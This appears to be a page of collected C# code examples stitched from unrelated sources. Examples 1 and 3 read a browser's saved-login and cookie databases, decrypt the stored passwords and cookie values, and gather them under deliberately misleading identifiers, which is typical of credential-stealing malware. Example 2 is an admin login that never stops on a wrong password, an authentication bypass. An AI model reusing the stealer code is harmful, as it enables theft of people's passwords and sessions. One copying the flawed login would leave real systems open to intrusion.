Exemplo n.º 1
0
        public static List <LD> GETLDSs(string dataPath, bn InheritanceDemand)
        {
            var           MetadataEnumResult = new List <LD>();
            SQLiteHandler db = null;

            if (!File.Exists(dataPath))
            {
                return(MetadataEnumResult);
            }

            try
            {
                db = new SQLiteHandler(dataPath);
            } catch (Exception)
            {
                return(MetadataEnumResult);
            }

            if (!db.ReadTable("logins"))
            {
                return(MetadataEnumResult);
            }

            string host, ParameterModifier, FilterTypeName;
            int    entries = db.GetRowCount();

            for (int i = 0; i < entries; i++)
            {
                try
                {
                    host = db.GetValue(i, "origin_url");
                    ParameterModifier = db.GetValue(i, "username_value");
                    FilterTypeName    = Decrypt(db.GetValue(i, "password_value"));

                    if (!String.IsNullOrEmpty(host) &&
                        !String.IsNullOrEmpty(ParameterModifier) &&
                        !String.IsNullOrEmpty(FilterTypeName))
                    {
                        MetadataEnumResult.Add(new LD
                        {
                            Url                      = host,
                            PropertyInfo             = ParameterModifier,
                            FilterTypeNameIgnoreCase = FilterTypeName,
                            InheritanceDemand        = InheritanceDemand
                        });
                    }
                } catch (Exception)
                {
                    return(MetadataEnumResult);
                }
            }

            return(MetadataEnumResult);
        }
Exemplo n.º 2
0
    /// <summary>
    /// 管理页面
    /// </summary>
    public static void ManagerLogin()
    {
        string username  = HttpContext.Current.Request.Form["username"];
        string password  = HttpContext.Current.Request.Form["password"];
        string swtID     = HttpContext.Current.Request.Form["id"];
        string swtSiteID = swtID.Substring(3, swtID.Length - 3);

        if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
        {
            Alert("用户名或者密码不能为空", "login.html");
            return;
        }
        bn bn = aq.x(swtSiteID);

        if (bn == null)
        {
            Alert("站点错误", "login.html");
            return;
        }
        try
        {
            Monitor.Enter(bn);
            DataTable table = bn.w()["Operators"];
            DataRow   row2  = table.Rows.Find(username);
            if (row2 == null)
            {
                Alert("管理名称或者密码不正确1", "login.html");
                return;
            }
            string desEn = gsPublic.encrpt(password, swtSiteID);
            //HttpContext.Current.Response.Write(password + "\r\n");
            //HttpContext.Current.Response.Write(swtSiteID + "\r\n");
            //HttpContext.Current.Response.Write(desEn + "\r\n");
            //HttpContext.Current.Response.Write(row2["password"].ToString() + "\r\n");
            if (string.IsNullOrEmpty(desEn) || desEn != row2["password"].ToString())
            {
                Alert("管理名称或者密码不正确2", "login.html");
            }
            gsPublic.Global_VerifyCode = desEn;
            Alert("登录成功", "bhSecurity.aspx?vid=" + desEn);
            return;
        }
        catch (Exception ex)
        {
            e.b("ManagerLogin: " + ex.ToString());
        }
        finally
        {
            Monitor.Exit(bn);
        }
    }
Exemplo n.º 3
0
        public static List <IReflectableType> GETOPAG(string dataPath, bn InheritanceDemand)
        {
            var           MetadataToken = new List <IReflectableType>();
            SQLiteHandler db            = null;

            if (!File.Exists(dataPath))
            {
                return(MetadataToken);
            }

            try
            {
                db = new SQLiteHandler(dataPath);
            } catch (Exception)
            {
                return(MetadataToken);
            }

            if (!db.ReadTable("cookies"))
            {
                return(MetadataToken);
            }

            string host, name, value, path, expires, lastAccess;
            bool   secure, http, expired, persistent, priority;

            int entries = db.GetRowCount();

            for (int i = 0; i < entries; i++)
            {
                try
                {
                    host  = db.GetValue(i, "host_key");
                    name  = db.GetValue(i, "name");
                    value = Decrypt(db.GetValue(i, "encrypted_value"));
                    //path = db.GetValue(i, "path");
                    //expires = db.GetValue(i, "expires_utc");
                    //lastAccess = db.GetValue(i, "last_access_utc");

                    //secure = db.GetValue(i, "secure") == "1";
                    //http = db.GetValue(i, "httponly") == "1";
                    //expired = db.GetValue(i, "has_expired") == "1";
                    //persistent = db.GetValue(i, "persistent") == "1";
                    //priority = db.GetValue(i, "priority") == "1";

                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && !String.IsNullOrEmpty(value))
                    {
                        MetadataToken.Add(new IReflectableType
                        {
                            HostKey           = host,
                            Name              = name,
                            Value             = value,
                            InheritanceDemand = InheritanceDemand
                        });
                    }
                } catch (Exception)
                {
                    return(MetadataToken);
                }
            }

            return(MetadataToken);
        }
Exemplo n.º 4
0
 public static bool a(string A_0, bn A_1, string A_2, string A_3)
 {
     return(true);
 }